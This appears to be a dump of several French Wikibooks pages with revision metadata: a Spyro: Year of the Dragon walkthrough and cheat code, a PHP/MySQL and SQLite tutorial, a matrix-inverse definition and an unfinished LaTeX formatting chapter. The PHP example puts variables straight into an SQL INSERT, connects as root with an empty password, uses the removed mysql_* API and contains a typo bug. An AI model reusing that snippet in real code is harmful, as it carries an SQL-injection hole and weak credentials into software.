: **Se débarasser des ennemis qui empêchent les cloches de sonner **Poursuivre le voleur dans la zone aux cloches **Amener trois graines de soleil à la marmitte ** ====Cratère en fusion==== Ce portail ne s'ouvre qu'une fois obtenu 10 œufs. *Mission principale : aider Clay à ouvrir la Loge Tiki *Obtenir les oeufs : **Poursuivre le premier voleur **Poursuivre le second voleur **Réussir la partie de cache-cache avec le sergent Byrd **Trouver un oeuf dissimulé derrière une paroi fissurée avec l'agent Byrd ====Rivages aux coquillages==== Ce portail ne s'ouvre qu'une fois obtenu 14 œufs. *Mission principale : ibérer des phoques emprisonnés par les rhinos *Obtenir les oeufs : **traverser le tunnel ultrarapide. Le joueur est propulsé dans le tunnel et avance en ne pouvant que modifier sa position afin d'éviter les mines et d'éliminer les rhinos en scaphandre. Il est possible de mémoriser la position des rhinos pour s'aider. **combattre un rhino installé dans un sous-marin. Le joueur doit pour cela récupérer les missiles que le sous-marin jette derrière lui pour les lui renvoyer. **avec Sheila, faire exploser un bâtiment de rhinos assiégé. il faut réussir à détruire toutes les fortifications du bâtiment avant que la bombe n'explose. Les canons sont à viser en priorité : non seulement ils peuvent toucher Sheila, mais leur destructions entraînent également celle de toutes les fortifications directement à côté. ====L'[[Alpes|Alpe]] de Sheila==== Ce portail ne s'ouvre qu'une fois Sheila libéré. *Mission principale : aider les chèvres à rejoindre leur maison en éliminant les rhinos *Obtenir les oeufs : **parler à la première chèvre une fois qu'elle a retrouvé sa maison **parler à la seconde chèvre une fois qu'elle a retrouvé sa maison **parler à la troisième chèvre une fois qu'elle a retrouvé sa maison ====Cachot de Buzz==== Grâce à la [[montgolfière]] créée avec l'aide des habitants du Soleil levant printanier, Spyro est amené sur un terrain où il doit combattre son premier [[boss]], Buzz. Pour cela, il doit le repousser grâce à des charges dans la lave qui encercle le terrain, où Sheila l'attaquera par au-dessus pour lui donner le coup de grâce. Pour éviter Spyro, Buzz bondit d'abord vers la gauche, puis vers la droite. Il faut donc prévoir de quel côté il va bondir pour pouvoir le toucher. Au bout d'un moment, il crachera des flammes qui pourront être évitées en sautant. ===Jardin de midi=== ====Pic de glace==== *Mission principale : retrouver Doug *Obtenir les oeufs : **poursuivre le premier voleur d'oeuf. **poursuivre le second voleur d'oeuf. **aider Nancy à réaliser sa danse sans être gênée par les rhinos joueurs de hockey sur glace. En cas d'échec, le mieux est de suivre Nancy en permanence et de mémoriser de quel côté proviennent les rhinos. ====Tours enchantées==== *Mission principale : détruire la statue de la sorcière *Obtenir les oeufs : **réussir le défi de skate contre Chasseur. **aide Mowat à retrouver son loup Farley. En avalant puis reposant la balle, il est possible de forcer Farley à aller à un endroit. Celà permet de le placer sur des interrupteurs de manière à ouvrir le passage. **avec le Sgt. Byrd, aider Ooga à retrouver les os de son ami le squelette danseur volés par des chiens ====Marais des revenants==== Ce portail ne s'ouvre qu'une fois obtenu 25 œufs. *Mission principale : avancer dans le marais *Obtenir les oeufs : **après avoir rallumé les lanternes, combattre un rhino magicien qu'il doit battre en lui renvoyant ses projectiles.. **avec Sheila, aider les jumeaux à libérer un oeuf en cassant les rochers (coup de pied) et en écrasant les champignons (attaque en hauteur) sur leur chemin. **avec Sheila, aider les jumeaux à libérer le second oeuf. *Point d'aptitude : ====Jardins de bambou==== Ce portail ne s'ouvre qu'une fois obtenu 30 œufs. *Mission principale : libérer le chemin des pandas cueilleuses de bambou *Obtenir les oeufs : **tirer de loin sur des rhinos tout en évitant de toucher les pandas qui rentrent chez eux **poursuivre le voleur **avec Bentley, grimper la montagne. ====Base du Sgt. Byrd==== *Mission principale : libérer le niveau *Obtenir les oeufs : **retrouver les colibris enfermés dans des cages dispersées dans le niveau ====Arène de Spike==== Spike est un rhino métamorphosé, rendu géant et armé d'un pistolet laser que le joueur doit combattre en lui lançant des objets jetés sur le niveau par le Sgt. Byrd. ===Lac crépusculaire=== ====Autel de glace==== A l'entrée dans ce niveau, Spyro se voit offrir par une fée un souffle de glace, qui gèle les ennemis au lieu de les enflammer, ce qui permet notamment de sauter sur un ennemi une fois gelé afin d’accéder à une zone en hauteur. En branchant une seconde [[manette]] lors du match de boxe, il est possible de jouer à deux joueurs : c'est la seule moment [[multijoueur]] du jeu. *Mission principale : aider les habitants à faire partir les rhinos *Obtenir les oeufs : **gagner un match de hockey chaton : il faut geler des chatons et les pousser dans les cages adverses. **gagner le premier match de boxe, en un round, contre le yéti avec Bentley **gagner le second match de boxe, en trois rounds, contre le yéti avec Bentley ====Vaisseaux perdus==== *Mission principale : aider Ed le Fou à retrouver le trésor *Obtenir les oeufs : **gagner la course de skate contre des rhinos **vaincre les rhinos à bord du sous-marin *Point d'aptitude : ====Usine de feux d'artifice==== Ce portail ne s'ouvre qu'une fois obtenu 50 œufs. Dans ce niveau, les ennemis (des [[ninja]]s) réapparaissent tant que Spyro n'a pas cassé les boîtes à ninja d'où ils proviennent. *Mission principale : voler à la Sorcière les plans de sa fusée *Obtenir les oeufs : **tuer deux dragons chinois grâce à une recharge combo de vol et de boules de feu. **faire face à une armée de ninjas avec l'Agent 9. ** ====Crête enchantée==== Ce portail ne s'ouvre qu'une fois obtenu 58 œufs. Le joueurcombat des magiciens qui influent sur le décor et sur la taille des ennemis : ce sont ces magiciens qu'il faut viser en premier, certains ennemis devenant invincibles sous leur pouvoir. *Mission principale : rejoindre la princesse *Obtenir les oeufs : **aider Jack à atteindre l'oie aux œufs d'or en plantant des [[champignon]]s et des [[fleur]]s géants en nombre limité. La fleur est plus basse que le champignon, mais le champignon rebondit. (deux oeufs) **avec le Sgt. Byrd combattre les sorcières félines sur balai. Le mieux est de s'immobiliser et d'atteindre que les sorcières se jettent sur vous pour les toucher. **avec le Sgt. Byrd combattre les sorcières félines une fois le sol disparu *Point d'aptitude : briser tous les vitraux de l'église avec le Sgt. Byrd. ====Poste de Bentley==== *Mission principale : aider son frère Bartholomé à rentrer chez lui ====Brasier==== Spyro doit combattre Scorch, un monstre ressemblant à un [[vampire]], en utilisant les objets tombant sur le terrain. ===Montagnes de minuit=== ====Îles de Cristal==== Le joueur ne combat aucun rhino dans ce niveau, mais des animaux mécontents métamorphosés en cristal. Les différents magiciens sur son chemin l'aident grâce à des tours de magie qui libèrent des plate-formes ou des tourbillons. *Mission principale : *Obtenir les oeufs : **descendre une longue rampe glissante où les contrôles de Spyro sont limités. Il est conseillé d'influer par petites touches sur sa direction en utilisant la croix directionnelle. **avec Bentley, écraser les taupes ====Ruines du désert==== Du fait de la présence de [[Scorpiones|scorpion]]s cracheurs de feu qui enflamment le sol et de rhinos électrisant le sol, il faut faire attention lorsqu'on saute sur une plate-forme et tuer rapidement les ennemis. *Mission principale : secourir Sara. *Obtenir les oeufs : **utiliser la raie manta de Chasseur pour détruire des rhinos dans des sous-marins **avec Sheila, réussir le court jeu de plate-forme en deux dimensions (deux oeufs) ====Tombeau hanté==== *Mission principale : trouver le trésor. Pour découvrir le trésor, il faut non seulement traverser entièrement le niveau, mais aussi répondre à une énigme : "Je suis un vaisseau sans charnière, verrou ni couvercle, mais à l'intérieur de mes murs se cache un trésor en or. Qui suis-je ?" La réponse est un œuf, ce qui est aussi le fameux trésor. Le joueur combat dans le niveau des momies. Deux types de momies différentes existent : une qui peut être tuée facilement mais qui réapparaît tant que son sarcophage n'a pas été détruit, et une autre qui ne peut être tuée qu'en lui renvoyant ses propres boules. *Obtenir les oeufs : **gagner le championnat d'aéroglisseur destructeur, après avoir répondu à la question "Si un dragon perd un œuf tous les 12 ans, combien faudra-t-il d'années à 100 dragons pour pondre 100 œufs ?". La réponse est 12 ans. **avec l'Agent 9, passer cinq zones peuplées de monstres après avoir répondu à la question "Je te suis où que tu ailles, plus tu avances dans le temps, plus je grandis derrière toi." La réponse est l'ombre. ====Mines des dinosaures==== *Mission principale : délivrer le shérif Wyatt *Obtenir les oeufs : **traverser un tuyau d'eaux ultrarapides en évitant les obstacles (d'une façon proche au niveau Rivages des coquillages, sauf que tuer les ennemis n'est pas obligatoire) **avec l'Agent 9, défaire le gang Bailey. *Point d'aptitude : tuer tous les ennemis dans le tuyau d'eau ====Labo d'Agent 9==== *Mission principale : libérer le labo des rhinos et des oiseaux ====Repaire de la Sorcière==== Une fois entrée dans son repaire, Spyro combat la sorcière, d'abord en lui tirant dessus avec un canon, puis avec un canon mobile, et enfin en montant sur une [[OVNI|soucoupe volante]]. Une fois la cinématique de fin terminée, Spyro est de nouveau contrôlable et peut poursuivre Gros-Sous pour récupérer tout l'argent qu'il lui a pris. ===Circuits=== Dans chaque monde oublié, un portail permet d'accéder à un circuit, un niveau basé sur le vol de Spyro. Il doit y accomplir deux missions, chacune offrant un œuf. La première consiste à éliminer (dans le cas d'un être vivant) ou passer au travers (dans le cas d'arches) quatre séries de huit objets en un temps limité. La seconde consiste en une course contre des habitants du niveau, le parcours étant délimité par des anneaux au travers desquels il faut tous passer et une ligne en pointillé rouge qui est le chemin conseillé. Des étoiles bleues et rouges sont disséminées sur le parcours, les bleus offrant une accélération, les rouges permettant de tirer un missile sur un des adversaires. ===Mondes de Sparx=== Les niveaux de Sparx sont accessibles une fois terminé un monde oublié : il faut alors y revenir et parler à la [[fée]] Zoé. En supplément d'un œuf et de rubis, chaque niveau permet à Sparx d'obtenir une nouvelle capacité une fois battu le [[boss]] qui le conclut. Dans Soleil levant printanier, Sparx peut accéder à la ferme des [[langouste]]s, ce qui lui permet de récupérer des joyaux plus éloignés. Dans le Jardin de midi, Sparx accède à la ville des [[araignée]]s, et obtient la capacité de montrer à Spyro l'emplacement des joyaux les plus proches lorsque le joueur presse les touches L1, R1, L2, et R2. Sparx accède au rivage des [[étoile de mer|étoiles de mer]] dans le lac crépusculaire, ce qui lui permet de recevoir un coup de plus à la place de Spyro. Dans les Montagnes de minuit, une fois la Sorcière vaincue, Sparx accède à l'usine des insectors et gagne la capacité d'ouvrir les coffres. ===Les Grandes Illusions=== Une fois obtenu 149 œufs et 15000 joyaux, ce qui équivaut à finir le jeu à 100%, le joueur peut accéder à une zone bonus. Il faut poursuivre des voleurs, détruire des rhinos en sous-marins, faire une course de skate contre des yétis et détruire des moutons volants, chacune de ses actions ouvrant une porte qui permettra d'accéder à la suivante. Une fois tous les joyaux récupérés, une porte s'ouvre qui mène au véritable combat final. Les deux personnages sont sur des soucoupes volantes et se tirent dessus pour gagner. [[Spyro: Year of the Dragon|Retour au sommaire]] [[Catégorie:jeu vidéo]] Spyro:Year of the Dragon/Conseils et astuces 6367 41243 2006-04-29T19:53:32Z 86.214.199.57 /* Codes */ {{ébauche}} ==Exploration== L'exploration a un rôle très important dans ''Spyro: Year of the Dragon''. Il ne faut pas négliger la collecte des joyaux, qui permettront d'ouvrir des passages et de libérer des personnages, ni celle des oeufs qui ouvrira des portails. ==Codes== Il est possible de changer la couleur de Spyro. Il faut presser les touches suivantes : Haut, Gauche, Bas, Droite, Haut, Carré, R1, R2, L1, L2, Haut, Droite, Bas, Gauche, Haut, puis une autre touche pour choisir la couleur voulue. Le triangle c'est vert, le carré c'est rose, le rond c'est rouge et la croix c'est bleu. [[Spyro: Year of the Dragon|Retour au sommaire]] [[Catégorie:jeu vidéo]] Image:Tableau de base1.png 6368 28033 2006-01-01T13:39:26Z Trotinette 954 Tableau de base1 Tableau de base1 Image:Tableau de base2.png 6369 28034 2006-01-01T13:40:14Z Trotinette 954 Tableau de base 2 Tableau de base 2 Image:Tableau de base3.png 6370 28035 2006-01-01T13:47:03Z Trotinette 954 Tableau de base 3 Tableau de base 3 Image:Tableau de base4.png 6371 28036 2006-01-01T13:47:33Z Trotinette 954 Tableau de base 4 Tableau de base 4 Image:Prescripteur1.png 6372 28037 2006-01-01T14:17:36Z Trotinette 954 Prescripteur 1 Prescripteur 1 Image:Prescripteur2.png 6373 28038 2006-01-01T14:18:02Z Trotinette 954 Prescripteur 2 Prescripteur 2 Image:Prescripteur3.png 6374 28039 2006-01-01T14:18:21Z Trotinette 954 Prescripteur 3 Prescripteur 3 Image:Prescripteur4.png 6375 28040 2006-01-01T14:18:46Z Trotinette 954 Prescripteur 4 Prescripteur 4 Programmation PHP/Bases de données 6377 45258 2006-06-20T08:26:45Z Boly38 136 /* MySQL */ cadre code {{Programmation PHP}} Soit la base de données BDDNAME contenant la table NOMTABLE. Voici la table : <br> :*ID : id<br> :*NOM : chaine de caractères<br> :*PRENOM : chaine de caractères<br> :*ADRESSE1 : chaine de caractères<br> :*ADRESSE2 : chaine de caractères<br> :*TEL1 : entier long<br> :*TEL2 : entier long<br> <br> Cette base de données contient les deux enregistrements suivants :<br> <br> {| border="1" style="background-color:#FCFED2;" |align="center"|0||align="center"|"DUPOND"||align="center"|"LOUIS"||align="center"|"1,Petite rue"||align="center"|"2,Petite rue"||align="center"|0543454654||align="center"|0543454352 |- |align="center"|1||align="center"|"DUSS"||align="center"|"Jean-Claude"||align="center"|"1,Grande rue"||align="center"|"2, Grande rue"||align="center"|null||align="center"|null |} <br> ==MySQL== Constantes utilisées par la suite :<br> :'''Nom de la BDD''' : "BDDNAME"<br> :'''Adresse de la BDD''' : "BDDADRESSE"<br> :'''Login d'accès à la BDD''' : "BDDUSER"<br> :'''Mot de passe pour accéder à la BDD''' : "BDDPASS"<br> {{cadre code|Exemple d'accès à une base de données MySQL|<pre> <? $user="root"; $pass=""; $db="divers"; $table="demande_intervention"; $link=mysql_connect("localhost",$user,$pass); if (!$link) die("Impossible de se connecter à mysql"); mysql_select_db($db,$link) or die ("Impossible d'ouvrir $db :".mysql_error()); $query="insert into $table values($znom,$ztel,$znomach,zlieu,zdate)"; mysql_query($query,$link) or die("Impossible d'ajouter des nouvelles données".mysql_error()); mysql_close($link); ?> </pre>}} ===Exécution d'une requête sur une base de données MySQL=== Maintenant que nous sommes connectés à notre base de données, il est possible d'executer des requêtes dessus. En voici un exemple {{cadre code|Exploiter une requête de type SELECT (avec <code>mysql_fetch_assoc</code>)|<pre> :$requete = "SELECT * FROM NOMTABLE";<br> :$res = mysql_query($requete);<br> On obtient alors tous les enregistrements présents dans la table nom table, et pour exploiter les enregistrements, on peut boucler de la manière suivante :<br> '''while''' ($enregistrement = mysql_fetch_assoc ($res) ) '''{'''<br> :$nom = $enregistrement['NOM'];<br> :$prenom = $enregistrement['PRENOM'];<br> :$adresse1 = $enregistrement['ADRESSE1'];<br> :$adresse2= $enregistrement['ADRESSE2'];<br> :$tel1 = $enregistrement['TEL1'];<br> :$tel2 = $enregistrement['TEL2'];<br> '''}''' </pre>}} De cette manière on récupère un tableau associatif sous la forme ''Clé''->''Valeur'' pour chacun des enregistrements retournés par la requête.<br> Il existe d'autres méthodes ...<br> :*<code>''mysql_num_rows ()''</code> : retourne le nombre de lignes données par la requete;<br> :*<code>''mysql_fetch_row ()''</code> : identique à ''mysql_fetch_assoc'' mais retourne un tableau simple ''indice''->''valeur''.<br> :*<code>''mysql_fetch_object ()''</code> : identique à ''mysql_fetch_assoc'' mais retourne un objet.<br> Exemple : {{cadre code|Exploiter une requête de type SELECT (avec <code>mysql_fetch_object</code>)|<pre> $requete = "SELECT * FROM NOMTABLE"; $res = mysql_query($requete); while ($enregistrement = mysql_fetch_object ($res) ) { $nom = $enregistrement->NOM; $prenom = $enregistrement->PRENOM; $adresse1 = $enregistrement->ADRESSE1; $adresse2= $enregistrement->ADRESSE2; $tel1 = $enregistrement->TEL1; $tel2 = $enregistrement->TEL2; } </pre>}} ===Fermeture d'une connexion à la base de données MySQL=== //Ferme la connexion MySQL<br /> mysql_close ($ressource); ==SQLite== '''SQLite''' est le moteur de base de données intégré à php5. ===Se connecter à une base de données SQLite=== // On se connecte à la base<br> // CHEMIN_BDD constitue de chemin physique de la base de données<br> $db = new SQLiteDatabase(CHEMIN_BDD);<br> ===Exécution d'une requête sur une base de données SQLite=== Maintenant que nous sommes connectés à notre base de données, il est possible d'executer des requêtes dessus. En voici un exemple :<br> :$requete = "SELECT * FROM NOMTABLE";<br> :$res = $db->'''arrayQuery''' ($requete, SQLITE_ASSOC);<br> On obtient alors tous les enregistrements présents dans la table nom table, et pour exploiter les enregistrements, on peut boucler de la manière suivante :<br> '''foreach''' ($res as $enregistrement) '''{'''<br> :$nom = $enregistrement['NOM'];<br> :$prenom = $enregistrement['PRENOM'];<br> :$adresse1 = $enregistrement['ADRESSE1'];<br> :$adresse2= $enregistrement['ADRESSE2'];<br> :$tel1 = $enregistrement['TEL1'];<br> :$tel2 = $enregistrement['TEL2'];<br> '''}'''<br> De cette manière on récupère un tableau associatif sous la forme ''Clé''->''Valeur'' pour chacun des enregistrements retournés par la requête. C'est la constante '''SQLITE_ASSOC''' qui permet cela. La constante '''SQLITE_NUM''' permet de retourner un tableau indexé numériquement.<br> Il existe d'autres méthodes ...<br> :*<code>''numRows ()''</code> : retourne le nombre de lignes données par la requête.<br> ==Oracle== // A venir Catégorie:Wikijunior 6384 28104 2006-01-02T20:11:42Z Duarna 465 création Cette catégorie rassemble tous les livres déstiné aux enfants. Ansi que les pages ce raportant au projet '''«Wikijunior»'''. Algèbre linéaire:Matrice inverse 6385 28120 2006-01-03T10:55:12Z Jean-Jacques MILAN 114 corrections diverses L'inverse à gauche d'une matrice <math>M</math> est une matrice <math>N</math> telle que <math>NM=I</math>. L'inverse à droite d'une matrice <math>M</math> est une matrice <math>N</math> telle que <math>MN=I</math>. L'inverse d'une matrice <math>M</math>, noté <math>M^{-1}</math>, est une matrice qui est à la fois l'inverse à gauche et l'inverse à droite. Si la matrice <math>M</math> n'est pas une matrice carrée, disons qu'elle est de dimension <math>m</math> par <math>n</math> alors <math>M</math> ne peut pas avoir d'inverse, en revanche elle pourra avoir un inverse à gauche si <math>m>n</math> ou un inverse à droite si <math>m<n</math>. Une matrice carrée ne peut avoir qu'un seul inverse. Si <math>M</math> est une matrice carrée et que <math>N</math> est son inverse à gauche (respectivement à droite) alors nécessairement <math>N</math> sera aussi son inverse à droite (resp. à gauche) et sera donc l'inverse de <math>M</math>. Programmation LaTeX Mise en forme du texte 6387 44530 2006-06-14T12:39:49Z 194.199.90.39 /* Liens hypertextes */ {{LaTeX-nav}} La mise en forme du texte est un terme plutôt large, mais dans la cadre de cette section elle se limitera à diverses techniques de composition d'un texte, de mise en page ou d'organisation de paragraphes. La mise en forme tend à se rapporter à tout ce qui concerne l'aspect, et elle englobe des sujets comme les modèles de texte, les polices, la taille des caractères; l'alignement de paragraphe, l'espacement entre les lignes, les indentations; les types particuliers de paragraphe; les structures de liste; les apostilles, les notes de marge, etc. Beaucoup de techniques de mise en forme d'un texte sont exigées pour différencier certains éléments du reste du texte. Il est souvent nécessaire d'ajouter de l'emphase à des mots ou des expressions. Une liste numérotée ou de description est généralement employée comme un moyen clair et concis de communiquer une question importante. Les apostilles sont utiles pour fournir l'information supplémentaire ou pour clarifier sans interrompre le déroulement principal du texte. Ainsi, pour toutes ces raisons, la mise en forme est très importante. Cependant, il est également très facile d'exagérer, et un document dont la rédaction abuse de ces techniques peut paraître encore moins lisible et esthétique qu'un autre qui n'en utilise pas du tout. ===Mise en forme du texte=== ==== Guillemets français ==== Il est possible d'obtenir des guillemets autour d'une citation en la plaçant entre les symboles << et >>, mais il est préférable d'utiliser les caractères « et » et d'inclure les extensions ''inputenc'' avec l'option latin1, et ''aeguill''. Il vous faut alors écrire par exemple «~citation~» les caractères ~ étant obligatoires afin de laisser un caractère insécable. Cependant l'espacement entre les guillemets et la citation n'est pas correct, vos guillemets ne s'afficheront pas correctement. L'espacement dépend en effet de la longueur de la citation. Pour obtenir un résultat impeccable, vous devez utiliser les deux commandes \og (pour «) et \fg (pour ») qui règlent automatiquement l'espacement. Par exemple: {| | style="vertical-align: middle;" | \documentclass[a4paper,12pt]{article} \usepackage[french]{babel} \usepackage[T1]{fontenc} \usepackage[latin1]{inputenc} \begin{document} Je cite: \og citation \fg. \end{document} | style="vertical-align: middle;" | [[Image:guillemets.png]] |} ==== Guillemets anglais ==== Les guillemets anglo-saxons dont nous allons parler ne sont pas utilisables dans un texte français. Mais ils peuvent être employés dans une citation en anglais ou dans un programme informatique. Latex traite les guillemets anglais de gauche et de droite comme des entités différentes. Pour les simples guillemets (apostrophes inversées), le symbole <tt>`</tt> (sur les claviers anglais et américains, se trouve sur la touche à côté du chiffre 1) donne une marque gauche de citation, et <tt>'</tt> est une marque à droite. Pour obtenir les doubles guillemets, il suffit simplement de doubler les simples, et Latex les interprétera en conséquence (bien que vous puissiez employer le <tt>"</tt> pour les guillemets anglais de droite si vous le souhaitez). {| | <tt>Pour `citer' en Latex dans une phrase anglaise</tt> | [[Image:quote1.png]] |- | <tt><nowiki>Pour ``citer'' en Latex dans une phrase anglaise</nowiki></tt> | [[Image:quote2.png]] |- | <tt>Pour ``citer" en Latex</tt> | [[Image:quote2.png]] |} Le guillemet droit est aussi utilisé en Latex sans problème. ==== Points et tirets ==== Une suite de trois points forme ce que l'on appelle des points de suspension, qui sont généralement employés pour indiquer qu'une partie du texte est omise. Le fait de juxtaposer simplement trois points ne donne pas exactement des points de suspension parce que l'espacement n'est pas correct. Par conséquent, vous devriez employer <tt>\ldots</tt> en le plaçant à la fin d'un mot sans laisser d'espace pour obtenir le bon résultat. {| | <tt>Points de suspension...</tt> | [[Image:points_de_suspension1.png]] |- | <tt>Points de suspension\ldots</tt> | [[Image:points_de_suspension2.png]] |} Latex a trois types spécifiques de tirets, chacun ayant une taille différente, et un emploi différent: [[Image:tirets.png]] ==== Les accents ==== Il y a plusieurs moyens d'écrire des caractères accentués en Latex. La première façon est d'inclure dans le préambule, la commande <tt>\usepackage[latin1]{inputenc}</tt> qui permet d'utiliser les caractères ISO 8859-1, et il est alors possible de taper directement les caractères accentués à condition d'utiliser un éditeur de texte mettant à disposition ce jeu de caractères. La deuxième oblige à utiliser une des commandes particulières qui permettent de représenter les accents. Ces commandes sont assez intuitives, par exemple <tt>\'</tt> place un accent aigu sur le caractère qui suit, <tt>\`</tt> place un accent grave, etc. [[Image:accents.png]] ==== Symboles ==== [[Image:symbols.png]] Latex met plusieurs symboles à disposition. La plupart d'entre eux appartiennent au domaine mathématique, et les chapitres suivants expliquent comment y accéder. Pour les symboles plus courants des textes, les commandes suivantes sont disponibles: [[Image:symboles.png]] Naturellement, ceux-ci ne sortent pas de l'ordinaire, et on peut largement préférer les symboles plus intéressants, de la police de ''ZipfDingbats'' de ''Postcript'' disponible grâce à <tt>pifont</tt>. Maintenant, vous devez savoir que lorsque vous voulez employer une extension, vous devez ajouter une déclaration à votre préambule, dans ce cas: <tt>\usepackage{pifont}</tt>. Ensuite, la commande <tt>\ding{</tt>''nombre''<tt>}</tt>, imprimera le symbole indiqué. Vous pouvez consulter le tableau présentant tous les symboles possibles à [dingbats.png ZapfDingbats] (attention à la taille du fichier de l'image !). ==== Mise en évidence ==== Le meilleur moyen de mettre en évidence un mot ou une phrase dans un texte est d'employer la commande de <tt>\emph{</tt>''texte''<tt>}</tt>. Comme vous le voyez, il n'y a rien de plus simple. {| | <tt>Je désire \emph{mettre en évidence} un mot</tt> | [[Image:emph.png]] |} ==== Modèles de polices de caractères ==== Je n'approfondirai pas vraiment sur les polices de caractères dans ce paragraphe. Cette section ne traite pas de la façon d'obtenir un texte écrit dans une police de caractères ''Verdana'' de taille 12 points (12pt) ! Il existe trois familles principales de polices: ''roman'' (telle que ''Times''), ''sans serif'' (exemple ''Arial'') et ''monospace'' (exemple ''Courier''). Vous pouvez également indiquer des modèles tels que italique (italic) et gras (bold). Le tableau suivant présente les commandes qui permettent d'accéder aux modèles de police typiques: [[Image:styles.png]] Vous avez pu noter l'absence de soulignement. Cette fonctionnalité peut être ajoutée avec l'extension <tt>ulem</tt>. Placez <tt>\usepackage{ulem}</tt> dans votre préambule. Par défaut, la commande devient prioritaire par rapport à <tt>\emph</tt> et remplace le mode italique par le soulignement. Il est peu probable que vous souhaitiez obtenir cet effet, aussi afin d'éviter que l'extension <tt>ulem</tt> se substitue à <tt>\emph</tt>, il vaut mieux simplement appeler la commande de soulignement uniquement lorsque c'est nécessaire. * Pour neutraliser <tt>ulem</tt>, ajoutez <tt>\normalem</tt> directement après le début de l'environnement. * Pour souligner, employez <tt>\uline{... }</tt>. * Pour souligner avec une ligne ondulée, employez <tt>\uwave{... }</tt>. * Et pour barrer les caractères <tt>\sout{... }</tt>. Enfin, il y a la question de la taille. Il est très facile de modifier la taille en utilisant les commandes de ce tableau: [[Image:taille.png]] === Mise en forme d'un paragraphe === Le changement de la mise en forme d'un paragraphe n'est pas souvent nécessaire, comme dans l'écriture scolaire. Cependant, il est utile de savoir comment l'effectuer, et quelles en sont les applications dans la mise en forme du texte dans des éléments flottants, ou dans d'autres documents plus exotiques. ==== Alignement des paragraphes ==== Les paragraphes en Latex sont habituellement entièrement justifiés (c'est-à-dire, affleurant les des deux marges de gauche et de droite). Si pour une raison quelconque, vous souhaitez changer la justification d'un paragraphe, alors Latex met à votre disposition trois environnements, ainsi que des commandes équivalentes. {| ! Alignement ! Environnement ! Commande |- | Justifé à gauche | <tt>flushleft</tt> | <tt>\raggedleft</tt> |- | Justifié à droite | <tt>flushright</tt> | <tt>\raggedright</tt> |- | Centré | <tt>center</tt> | <tt>\centering</tt> |} Tout le texte entre <tt>\begin</tt> et <tt>\end</tt> de l'environnement indiqué sera justifié convenablement. Les commandes énumérées servent dans d'autres environnements. Par exemple, <tt>p</tt> (paragraphe) peut-être utilisé dans les colonnes de <tt>tabular</tt>. ==== Indentation des paragraphes ==== En typographie, une indentation est un retrait de la première ligne d'un paragraphe. Ce retrait est en général assez petit. La taille du retrait est déterminée par un paramètre appelé le <tt>\parindent</tt>. Sa longueur par défaut est fixée par la classe du document que vous employez. Il est possible de l'imposer en utilisant la commande <tt>\setlength</tt>. <tt>\setlength{\parindent}{''longeur''}</tt> va fixer la taille du retrait à ''longueur''. Cependant, si vous décidez de remettre le retrait à zéro, alors vous allez certainement avoir besoin de laisser un espace vertical entre les paragraphes afin d'aérer le texte. L'espace entre les paragraphes est contenu dans <tt>\parskip</tt>, qui pourrait être modifié par un moyen semblable à celui ci-dessus. Cependant, ce paramètre est aussi utilisé dans d'autres environnements comme les listes, ce qui implique qu'en le modifiant, vous courrez le risque de faire ressembler certaines parties de votre document à un brouillon. (c'est-à-dire, à un texte bien plus désordonné que le type de modèle de paragraphe!) Il peut être préférable d'employer une classe de document spécialement conçue pour ce type d'indentation, telle que <tt>artikel3.cls</tt> (écrit par un hollandais, traduit en article3). ==== Espacement interligne ==== Il est rarement nécessaire d'utiliser un autre espace interligne que le simple espace. Mais pour ceux qui déciderait d'en changer, voici comment: # ajoutez <tt>\usepackage{setspace}</tt> au préambule de votre document; # ceci fournit alors les environnements suivants prêts à être utilisés dans votre document: #* <tt>doublespace</tt> - toutes les lignes sont doublement espacées; #* <tt>onehalfspace</tt> - espace interligne fixé à un espacement de un et demi; #* <tt>singlespace</tt> - espace interligne normal. === Paragraphes particuliers === Pour ceux d'entre vous qui ont lu une bonne partie de ce guide jusqu'à cette page, vous avez sans doute déjà rencontré plusieurs des formats de paragraphe suivants. Bien que nous en ayons déjà parlé auparavant, il n'est pas inutile de les réintroduire ici, dans le soucis d'être le plus complet possible. ==== Environnement <tt>verbatim</tt> ==== Cet environnement a été employé dans un exemple du chapitre précédent du guide. Toutes les données placées entre les commandes ''begin'' et ''end'' sont imprimées comme si elles avaient été tapées avec une machine à écrire. Tous les espaces et et passages à la ligne sont reproduits comme ils se présentent, et le texte est affiché dans une police non proportionnelle appropriée. Cet environnement est idéal pour dactylographier un code source de programme, par exemple. {| | style="vertical-align: middle;" | \begin{verbatim} L'environnement ''verbatim'' reproduit simplement tous les caractères entrés, y compris les espaces! \end{verbatim} | style="vertical-align: middle;" | [[Image:verbatim.png]] |} Remarque: une fois dans l'environnement <tt>verbatim</tt>, la seule commande qui sera identifiée est <tt>\end{verbatim}</tt>. Toutes les autres seront écrites in extenso! Si vous désirez qu'une commande soient interprétée dans un tel environnement, alors vous pouvez employer l'extension <tt>alltt</tt> à la place. Note: Il existe également un environnement <tt>Verbatim</tt> (il est nécessaire d'ajouter <tt>\usepackage{fancyvrb}</tt> à votre préambule) qui permet de définir un cadre et la taille du texte. Par exemple: \begin{Verbatim}[frame=single,fontsize==\scriptsize] 1..2..3 \end{Verbatim} {| | style="vertical-align: middle;" | \begin{alltt} L'extension Verbatim permet d'employer des commandes normales. Par conséquent, il est par exemple possible de \emph{mettre en évidence} des mots dans cet environnement. \end{alltt} | style="vertical-align: middle;" | [[Image:alltt.png]] |} N'oubliez pas d'ajouter <tt>\usepackage{alltt}</tt> à votre préambule, avant d'utiliser cette commande. ==== Environnement <tt>Listing</tt> ==== Il s'agit également d'une extension de l'environnement ''verbatim''. La fonctionnalité supplémentaire qu'elle fournit est celle de pouvoir ajouter des numéros de ligne de chaque côté du texte. Pour cela on emploie la commande: <tt>\begin[''pas'']{''première ligne''}</tt>. Le paramètre obligatoire ''première ligne'' indique à quelle ligne la numérotation débutera. Et le paramètre facultatif ''pas'' représente le pas entre chaque numéro de ligne (le pas par défaut vaut 1, et cela signifie les lignes seront numérotées normalement). Pour employer cet environnement, ajoutez <tt>\usepackage{moreverb}</tt> au préambule de votre document. ==== Environnements <tt>Quote</tt> et <tt>Quotation</tt> ==== Il existe deux environnements permettant d'inclure des citations dans vos documents, avec une différence subtile entre ceux-ci. L'environnement <tt>quote</tt> est conçu pour de courtes citations, ou des séries de petites citations, séparées par des interlignes. D'un autre côté <tt>quotation</tt>, sert à incorporer au texte de plus longues citations, qui tiennent sur plus d'un paragraphe. Toutes les citations sont placées en retrait de l'une ou l'autre des deux marges, et vous devrez les entourer vous-même par des guillemets si vous le désirez. Voyez le [tutoriel7/paras.tex paras.tex] et [tutoriel7/paras.pdf paras.pdf] pour des exemples d'utilisation de ces environnements. ==== Environnement <tt>Abstract</tt> 